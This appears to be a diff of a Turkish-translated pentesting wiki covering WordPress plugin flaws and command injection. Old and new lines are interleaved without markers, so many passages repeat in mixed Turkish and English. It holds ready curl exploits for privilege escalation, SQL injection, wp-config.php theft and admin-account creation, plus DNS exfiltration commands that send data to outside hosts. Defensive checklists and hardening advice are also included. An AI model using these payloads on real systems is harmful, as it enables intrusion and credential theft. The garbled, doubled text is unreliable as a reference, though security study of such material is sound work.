Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
Gerçek dünyadan bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde yer alıyorsa `reset-for=<username>` bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırıp user meta `_asenha_view_admin_as_original_roles`'den kaydedilmiş rolleri tekrar eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması yapıyordu:
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Neden sömürülebilir
Neden istismar edilebilir
- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir eklenti seçeneğine güvenir.
- Eğer bir kullanıcı daha önce yüksek ayrıcalıklarını `_asenha_view_admin_as_original_roles` içinde kaydetmişse ve daha sonra yetkileri düşürülmüşse, sıfırlama yoluna erişerek bunları geri alabilir.
- Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için sıfırlamayı tetikleyebilir (yetkilendirme hatası).
- Eğer bir kullanıcının daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek ayrıcalıkları kaydedilmişse ve sonra yetkileri düşürülmüşse, reset yolunu tetikleyerek bunları geri getirebilir.
- Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı, `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için reset tetikleyebilir (bozuk yetkilendirme).
İstismar (örnek)
```bash
@ -493,23 +493,23 @@ Neden sömürülebilir
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Zayıf yapılandırmalarda bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. `administrator`) tekrar ekler; bu da etkili şekilde ayrıcalıkları yükseltir.
Zayıf yapılandırmalarda bu mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. `administrator`) yeniden ekler; bu da etkin olarak ayrıcalık yükseltmeye yol açar.
Detection checklist
- Kullanıcı meta alanında “original roles”i saklayan roldeğiştirme özelliklerini ara (ör. `_asenha_view_admin_as_original_roles`).
- Şu tür sıfırlama/geri yükleme yollarını belirle:
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST` üzerinden okuyan.
- Rolleri `add_role()` / `remove_role()` ile, `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan değiştiren.
- Yetkilendirmeyi, işlemi yapan kullanıcının yetenekleri yerine bir eklenti seçenek dizisine (ör. `viewing_admin_as_role_are`) dayandıran.
- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
- Identify reset/restore paths that:
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'ten okuyan.
- `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan `add_role()` / `remove_role()` ile rolleri değiştiren.
- Yetkilendirmeyi aktörün capabilities yerine bir plugin option dizisine (ör. `viewing_admin_as_role_are`) dayandıran.
---
### Kimlik doğrulaması olmayan ayrıcalık yükseltmesi via cookietrusted user switching on public init (Service Finder “sf-booking”)
### Kamusal init üzerinde çerez-tabanlı kullanıcı değiştirme ile kimlik doğrulanmamış ayrıcalık yükseltmesi (Service Finder “sf-booking”)
Bazı eklentiler userswitching yardımcılarını public `init` hook'una bağlar ve kimliği istemci kontrollü bir çerezden türetir. Eğer kod `wp_set_auth_cookie()`'u kimlik doğrulamasını, capability ve geçerli bir nonce'u doğrulamadan çağırıyorsa, herhangi bir kimliği doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak zorla oturum açtırabilir.
Bazı pluginler user-switching yardımcılarını public `init` hook'una bağlar ve kimliği client tarafından kontrol edilen bir çerezden türetir. Eğer kod `wp_set_auth_cookie()`'i kimlik doğrulamayı, capability ve geçerli bir nonce'u doğrulamadan çağırıyorsa, herhangi bir kimlik doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak oturum açmayı zorlayabilir.
Tipik savunmasız desen (Service Finder Bookings ≤ 6.1'den basitleştirilmiş):
Tipik zafiyetli desen (Service Finder Bookings ≤ 6.1'den sadeleştirilmiş):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -540,9 +540,9 @@ wp_die('No original user found to switch back to.');
```
Neden istismar edilebilir
- Herkese açık `init` hook, handler'ın kimlik doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (`is_user_logged_in()` koruması yok).
- Kimlik, istemci tarafından değiştirilebilen bir cookie olan `original_user_id` değerinden türetilir.
- Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunanı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.
- Genel `init` hook, işleyiciyi kimlik doğrulanmamış kullanıcıların erişimine açar (hiçbir `is_user_logged_in()` koruması yok).
- Kimlik, istemci tarafından değiştirilebilen bir çerezden (`original_user_id`) türetilir.
- `wp_set_auth_cookie($uid)`'nin doğrudan çağrısı, istekte bulunanı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.
İstismar (kimlik doğrulanmamış)
```http
@ -553,32 +553,33 @@ User-Agent: PoC
Connection: close
```
---
### WordPress/plugin CVE'leri için WAF hususları
Genel edge/server WAF'ları geniş desenler (SQLi, XSS, LFI) için ayarlanmıştır. Birçok yüksek etkili WordPress/plugin açığı, uygulamaya özgü mantık/auth hatalarıdır ve motor WordPress yollarını ve plugin semantiklerini anlamadıkça zararsız trafik gibi görünür.
### WordPress/plugin CVEs için WAF ile ilgili hususlar
Genel edge/server WAF'ları geniş desenlere göre ayarlanmıştır (SQLi, XSS, LFI). Birçok yüksek etkili WordPress/plugin zafiyeti, motor WordPress rotalarını ve plugin semantics'ini anlamadığı sürece zararsız trafik gibi görünen uygulamaya-özgü mantık/auth hatalarıdır.
Saldırı notları
- Plugin'e özgü endpoint'leri temiz payloadlarla hedefleyin: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Önce kimlik doğrulama gerektirmeyen yolları test edin (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Varsayılan payloadlar genellikle obfuscation olmadan başarılı olur.
- Tipik yüksek etkili durumlar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Temiz payload'larla plugin-özgü endpoint'leri hedefleyin: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Önce unauth yollarını test edin (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Varsayılan payload'lar genellikle obfuscation olmadan başarılı olur.
- Tipik yüksek etkili vakalar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Savunma notları
- Plugin CVE'lerini korumak için genel WAF imzalarına güvenmeyin. Uygulama katmanı, açığa özgü sanal yamalar uygulayın veya hızlıca güncelleyin.
- Kodda negatif regex filtreleri yerine pozitif güvenlik kontrollerini tercih edin (capabilities, nonces, strict input validation).
- Plugin CVEs'i korumak için genel WAF imzalarına güvenmeyin. Uygulama-katmanı, zafiyete-özel virtual patch'ler uygulayın veya hızlıca güncelleyin.
- Kodda negative regex filtreleri yerine positive-security kontrollerini tercih edin (capabilities, nonces, strict input validation).
## WordPress Koruması
### Düzenli Güncellemeler
WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca wp-config.php içinde otomatik güncellemelerin etkinleştirildiğini doğrulayın:
WordPress, plugins ve themes'in güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php içinde etkinleştirildiğini doğrulayın:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Ayrıca, **sadece güvenilir WordPress eklentilerini ve temalarını yükleyin**.
Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**.
### Güvenlik Eklentileri
@ -591,13 +592,13 @@ Ayrıca, **sadece güvenilir WordPress eklentilerini ve temalarını yükleyin**
- Varsayılan **admin** kullanıcısını kaldırın
- **Güçlü parolalar** ve **2FA** kullanın
- Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin**
- Brute Force saldırılarını önlemek için **giriş denemelerini sınırlandırın**
- **`wp-admin.php`** dosyasının adını değiştirin ve erişime yalnızca dahili ağdan veya belirli IP adreslerinden izin verin.
- Brute Force saldırılarını önlemek için **giriş denemelerini sınırlayın**
- **`wp-admin.php`** dosyasının adını değiştirin ve erişime yalnızca ağdan veya belirli IP adreslerinden izin verin.
### Yetersiz doğrulama nedeniyle kimlik doğrulaması gerektirmeyen SQL Injection (WP Job Portal <= 2.3.2)
### Kimlik doğrulama gerektirmeyen SQL Injection (yetersiz doğrulama nedeniyle) (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin, en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki zafiyetli kodu çalıştıran **savecategory** görevini açığa çıkardı:
WP Job Portal işe alım eklentisi, sonuçta `modules/category/model.php::validateFormData()` içinde aşağıdaki savunmasız kodu çalıştıran **savecategory** görevini açığa çıkardı:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -607,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Bu kod parçasının yol açtığı problemler:
Issues introduced by this snippet:
1. **Temizlenmemiş kullanıcı girişi** `parentid` doğrudan HTTP isteğinden geliyor.
2. **WHERE koşulu içinde string birleştirme** `is_numeric()` / `esc_sql()` / prepared statement yok.
3. **Kimlik doğrulama gerektirmeyen erişilebilirlik** action `admin-post.php` üzerinden çalıştırılsa da, mevcut tek kontrol bir **CSRF nonce** (`wp_verify_nonce()`), ki bu herhangi bir ziyaretçi tarafından kısa kodu `[wpjobportal_my_resumes]` içeren açık bir sayfadan alınabilir.
1. **Unsanitised user input** `parentid` comes straight from the HTTP request.
2. **String concatenation inside the WHERE clause** no `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
#### İstismar
1. Yeni bir nonce al:
1. Taze bir nonce alın:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. `parentid`'i kötüye kullanarak keyfi SQL enjekte et:
2. `parentid`'i kötüye kullanarak rastgele SQL enjekte edin:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -627,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi'yi kanıtlar.
The response discloses the result of the injected query or alters the database, proving SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Başka bir task, **downloadcustomfile**, ziyaretçilerin path traversal yoluyla diskteki **herhangi bir dosyayı** indirmesine izin veriyordu. Zayıf nokta `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunuyor:
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` saldırgan tarafından kontrol ediliyor ve **temizleme uygulanmadan** birleştiriliyor. Yine, tek engel **CSRF nonce** olup bu nonce özgeçmiş sayfasından alınabiliyor.
`$file_name` attacker-controlled ve **temizlenmeden** birleştiriliyor. Tekrar, tek engel resume sayfasından alınabilecek bir **CSRF nonce**.
#### İstismar
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -649,11 +650,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Sunucu `wp-config.php` içeriğiyle yanıt verir, leaking DB credentials ve auth keys.
Sunucu `wp-config.php` içeriği ile yanıt veriyor, leaking DB credentials and auth keys.
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Birçok tema/eklenti, admin-ajax.php üzerinden erişilebilen "social login" yardımcıları ile gelir. Eğer bir unauthenticated AJAX action (wp_ajax_nopriv_...) sağlayıcı verisi eksik olduğunda istemci tarafından sağlanan tanımlayıcılara güvenip ardından wp_set_auth_cookie() çağırıyorsa, bu tam bir authentication bypass'a dönüşür.
Birçok tema/eklentide admin-ajax.php üzerinden erişilebilen "social login" yardımcıları bulunur. Eğer bir unauthenticated AJAX action (wp_ajax_nopriv_...) sağlayıcı verisi eksik olduğunda client-supplied identifiers'a güvenip wp_set_auth_cookie() çağırıyorsa, bu tam bir authentication bypass'a dönüşür.
Tipik hatalı desen (basitleştirilmiş)
```php
@ -684,17 +685,17 @@ wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
Neden sömürülebilir
Why its exploitable
- Kimlik doğrulanmamış erişim admin-ajax.php üzerinden (wp_ajax_nopriv_… action).
- Kimlik doğrulaması olmadan admin-ajax.php üzerinden erişim (wp_ajax_nopriv_… action).
- Durum değişikliğinden önce nonce/capability kontrolleri yok.
- OAuth/OpenID sağlayıcı doğrulaması eksik; varsayılan branch saldırgan girdisini kabul ediyor.
- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) istekte bulunanı herhangi bir mevcut e-posta adresi olarak yetkilendiriyor.
- OAuth/OpenID sağlayıcı doğrulaması eksik; varsayılan dal saldırgan girdisini kabul ediyor.
- get_user_by('email', $_POST['id'])'in ardından wp_set_auth_cookie($uid) çağrısı, isteği yapanı mevcut herhangi bir e-posta adresi olarak doğrular.
İstismar (kimlik doğrulanmamış)
Exploitation (unauthenticated)
- Önkoşullar: saldırgan /wp-admin/admin-ajax.php adresine erişebiliyor ve geçerli bir kullanıcı e-postasını biliyor/tahmin ediyor.
- provider'ı desteklenmeyen bir değere ayarlayın (veya hiç göndermeyin) böylece varsayılan branch'e girilir ve id=<victim_email> gönderilir.
- Prerequisites: saldırgan /wp-admin/admin-ajax.php'ye erişebilmeli ve geçerli bir kullanıcı e-postasını bilmeli/tahmin edebilmeli.
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
@ -735,7 +736,7 @@ Patched behaviour (Jobmonster 4.8.0)
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Bazı pluginler, çağıranın yeteneklerini doğrulamadan yeniden kullanılabilir “connection keys” veya tokenlar mint eden REST endpointleri açığa çıkarır. Eğer route sadece tahmin edilebilir bir özniteliğe göre (örn. username) authenticate ediyorsa ve keyi kullanıcı/oturum ile capability checks ile bağlamıyorsa, herhangi bir unauthenticated attacker bir key mint edebilir ve ayrıcalıklı işlemleri tetikleyebilir (admin hesap oluşturma, plugin actions → RCE).
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the callers capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
@ -755,31 +756,31 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Neden sömürülebilir
- Düşük entropili kimlik kanıtı (username) ile korunmuş veya permission_callback eksik olan hassas REST rota
- Yetki (capability) denetimi yok; oluşturulan anahtar evrensel bir baypas olarak kabul ediliyor
Neden istismar edilebilir
- Duyarlı REST rota yalnızca düşük-entropili kimlik kanıtı (username) ile korunuyor veya permission_callback eksik
- Yetki denetimi yok; oluşturulan anahtar evrensel bir baypas olarak kabul ediliyor
Tespit kontrol listesi
- Eklenti kodunda şu ifadeyi grep edin: register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- İstemci tarafından sağlanan kimlik (username/email) temel alınarak token/anahtar veren ve bunu doğrulanmış bir kullanıcıya veya capability'ye bağlamayan herhangi bir rota
- Sunucu tarafı capability kontrolleri olmadan oluşturulan token/anahtarı kabul eden sonraki rotaları arayın
- Plugin kodunda register_rest_route(..., [ 'permission_callback' => '__return_true' ]) için grep yapın
- İstekle sağlanan kimliğe (username/email) dayalı token/anahtar veren ve bunu doğrulanmış bir kullanıcıya veya yetkiye bağlamayan herhangi bir rota
- Oluşturulan token/anahtarı sunucu tarafı yetki kontrolleri olmadan kabul eden sonraki rotaları arayın
Güçlendirme
- Herhangi bir ayrıcalıklı REST rota için: gerekli capability'i dayatan bir permission_callback gerektirin (current_user_can() kullanarak)
- İstemci tarafından sağlanan kimlikten uzun ömürlü anahtarlar oluşturmayın; gerekiyorsa kimlik doğrulama sonrası kısa ömürlü, kullanıcıya bağlı token'lar verin ve kullanımda capability'leri yeniden kontrol edin
Sertleştirme
- Her ayrıcalıklı REST rotası için: gerekli yetkiyi current_user_can() ile denetleyen bir permission_callback zorunlu kılın
- İstemci tarafından sağlanan kimlikten uzun ömürlü anahtar oluşturmayın; gerekirse, kimlik doğrulamadan sonra kısa ömürlü, kullanıcı-bağlı tokenlar verin ve kullanımda yetkileri yeniden kontrol edin
- Çağıranın kullanıcı bağlamını doğrulayın (wp_set_current_user tek başına yeterli değildir) ve !is_user_logged_in() || !current_user_can(<cap>) olan istekleri reddedin
---
## Nonce gate misuse → kimlik doğrulanmamış rastgele eklenti kurulumu (FunnelKit Automations ≤ 3.5.3)
## Nonce kapısı kötüye kullanımı → kimliği doğrulanmamış rastgele plugin kurulumu (FunnelKit Automations ≤ 3.5.3)
Nonces CSRF'i önler, yetkilendirmeyi değil. Eğer kod bir nonce geçişini yeşil ışık olarak değerlendirip ayrıcalıklı işlemler için capability kontrollerini atlıyorsa (ör. install/activate plugins), kimliği doğrulanmamış saldırganlar zayıf bir nonce gereksinimini karşılayıp arka kapılı veya zafiyetli bir eklenti yükleyerek RCE'ye ulaşabilir.
Nonces CSRF'i engeller, yetkilendirmeyi değil. Eğer kod bir nonce geçişini yeşil ışık olarak değerlendirip ayrıcalıklı işlemler için yetki kontrollerini atlıyorsa (ör. install/activate plugins), kimliği doğrulanmamış saldırganlar zayıf bir nonce gereksinimini karşılayıp arka kapılı veya zayıf bir plugin yükleyerek RCE'ye ulaşabilir.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
- Hata: zayıf nonce hash kontrolü; nonce “passes” olduktan sonra current_user_can('install_plugins'|'activate_plugins') yok
- Etki: rastgele plugin kurulumu/aktivasyonu ile tam kontrol ele geçirilmesi
PoC (şekli eklentiye bağlıdır; sadece örnek amaçlı)
PoC (şekli plugin'e bağlıdır; yalnızca örnek amaçlı)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
@ -796,13 +797,13 @@ Hardening
---
## Kimlik doğrulaması olmayan SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
Birden fazla depicter-* action, s (search) parametresini aldı ve bunu parameterization olmadan SQL queries içine doğrudan birleştirdi.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: database exfiltration (users, hashes), lateral movement
- Parametre: s (search)
- Hata: WHERE/LIKE ifadelerinde doğrudan string concatenation; prepared statements/sanitization yok
- Etki: database exfiltration (users, hashes), lateral movement
PoC
```bash
@ -812,33 +813,33 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Detection checklist
- Grep ile depicter-* action handlers'ı ve SQL içinde $_GET['s'] veya $_POST['s']'in doğrudan kullanımını arayın
- $wpdb->get_results()/query()'e geçirilen ve s ile birleştirilen özel sorguları gözden geçirin
- depicter-* action handler'ları için grep yapın ve SQL içinde $_GET['s'] veya $_POST['s']'in doğrudan kullanımını arayın
- s ile birleştirilen özel sorguları $wpdb->get_results()/query()'e geçirilenleri inceleyin
Hardening
- $wpdb->prepare() veya wpdb placeholders'larını her zaman kullanın; beklenmeyen metakarakterleri sunucu tarafında reddedin
- s için sıkı bir allowlist ekleyin ve beklenen karakter seti/uzunluğa normalize edin
- Always use $wpdb->prepare() or wpdb placeholders; sunucu tarafında beklenmeyen metakarakterleri reddedin
- s için sıkı bir allowlist ekleyin ve beklenen charset/uzunluğa normalize edin
---
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
## Kimlik doğrulamasız Local File Inclusion, doğrulanmamış template/file path aracılığıyla (Kubio AI Page Builder ≤ 2.5.1)
Bir template parametresinde normalizasyon/sınırlama uygulanmadan saldırgan kontrollü yolların kabul edilmesi, rastgele yerel dosyaların okunmasına izin verir ve includable PHP/log dosyaları çalışma zamanına dahil edilirse bazen kod yürütülmesine yol açabilir.
Template parametresinde normalizasyon veya sınırlama olmadan saldırgan kontrollü path'lerin kabul edilmesi, rastgele yerel dosyaların okunmasına izin verir ve includable PHP/log dosyaları runtime'a dahil edilirse bazen kod yürütmeye yol açabilir.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: normalizasyon/allowlisting yok; traversal'a izin veriliyor
- Impact: gizli bilgilerin ifşası (wp-config.php), belirli ortamlarda potansiyel RCE (log poisoning, includable PHP)
- Impact: gizli bilgi ifşası (wp-config.php), belirli ortamlarda potansiyel RCE (log poisoning, includable PHP)
PoC wp-config.php oku
PoC read wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Tespit kontrol listesi
- Realpath() ile containment kontrolü olmadan istek yollarını include()/require()/read sink'lerine birleştiren herhangi bir işleyici
- Niyet edilen templates dizininin dışına çıkan traversal desenleri (../) arayın
- İstek yollarını include()/require()/read sinks içine realpath() containment olmadan birleştiren herhangi bir handler
- Amaçlanan templates dizininin dışına çıkan traversal desenleri (../) arayın
Sertleştirme
- İzin verilen (allowlisted) şablonları zorlayın; realpath() ile çözün ve str_starts_with(realpath(file), realpath(allowed_base)) şartını uygulayın
- İzin verilen (allowlisted) templates'i zorunlu kılın; realpath() ile çözün ve str_starts_with(realpath(file), realpath(allowed_base)) gerektirin
- Girdiyi normalize edin; traversal dizilerini ve mutlak yolları reddedin; sanitize_file_name()'ı yalnızca dosya adları için kullanın (tam yollar için değil)

View File

@ -4,11 +4,11 @@
## command Injection nedir?
Bir **command injection**, bir uygulamayı barındıran sunucuda saldırganın keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol elde etmesini sağlar.
A **command injection**, bir uygulamayı barındıran sunucuda saldırganın rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması tipik olarak saldırgana uygulamanın ortamı ve altında yatan sistem üzerinde yetkisiz erişim veya kontrol sağlar.
### Bağlam
Girdiğiniz verinin **nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'` kullanarak) gerekebilir.
**Girdinizin nerede enjekte edildiğine bağlı olarak** komutlardan önce **alıntılanmış bağlamı sonlandırmanız** (`"` veya `'` kullanarak) gerekebilir.
## Command Injection/Execution
```bash
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Sınırlama** Bypasses
Eğer bir **linux makinesi içinde rastgele komutlar** çalıştırmaya çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir:
Eğer bir linux makinesi içinde **arbitrary commands inside a linux machine** çalıştırmaya çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir:
{{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parametreler
Kod enjeksiyonuna ve benzeri RCE zafiyetlerine duyarlı olabilecek en iyi 25 parametre şunlardır (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
İşte code injection ve benzeri RCE açıklarına karşı potansiyel olarak savunmasız olabilecek ilk 25 parametre (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -77,7 +77,7 @@ Kod enjeksiyonuna ve benzeri RCE zafiyetlerine duyarlı olabilecek en iyi 25 par
```
### Time based data exfiltration
Veri çıkarma: karakter karakter
Veri çıkarma: char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -89,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration
### DNS tabanlı veri sızdırma
`https://github.com/HoLyVieR/dnsbin` aracına dayanmaktadır; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır
`https://github.com/HoLyVieR/dnsbin` adresindeki araca dayanır; ayrıca dnsbin.zhack.ca'da barındırılmıştır.
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNS tabanlı data exfiltration'ı kontrol etmek için çevrimiçi araçlar:
DNS tabanlı data exfiltration kontrolü için çevrimiçi araçlar:
- dnsbin.zhack.ca
- pingb.in
### Filtering bypass
### Filtreleme atlatma
#### Windows
```
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu yüzden shell'e özel anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır.
`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu nedenle shell tarafından özel anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır.
**Önlem:** `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi elemanı olarak** verin, böylece shell kullanılmaz:
**Önlem:** `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi öğesi olarak** sağlayın, böylece herhangi bir shell devreye girmez:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,24 +140,24 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması gerektirmeyen bir WebSocket olayı aracılığıyla saldırgan kontrollü verinin `id_user` içine yerleştirilmesine izin veriyordu; bu daha sonra bir `exec()` çağrısına gömülerek RCE'ye yol açtı (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Tüm enjeksiyonlar kabuk özel karakterleri gerektirmez. Uygulama güvensiz dizeleri bir sistem aracına argüman olarak geçiriyorsa (hatta `execve`/`execFile` ve kabuk olmadan), birçok program `-` veya `--` ile başlayan herhangi bir argümanı yine seçenek olarak parse eder. Bu, saldırganın modları çevirmesine, çıktı yollarını değiştirmesine veya tehlikeli davranışları tetiklemesine izin verir; kabuğa girmeniz gerekmez.
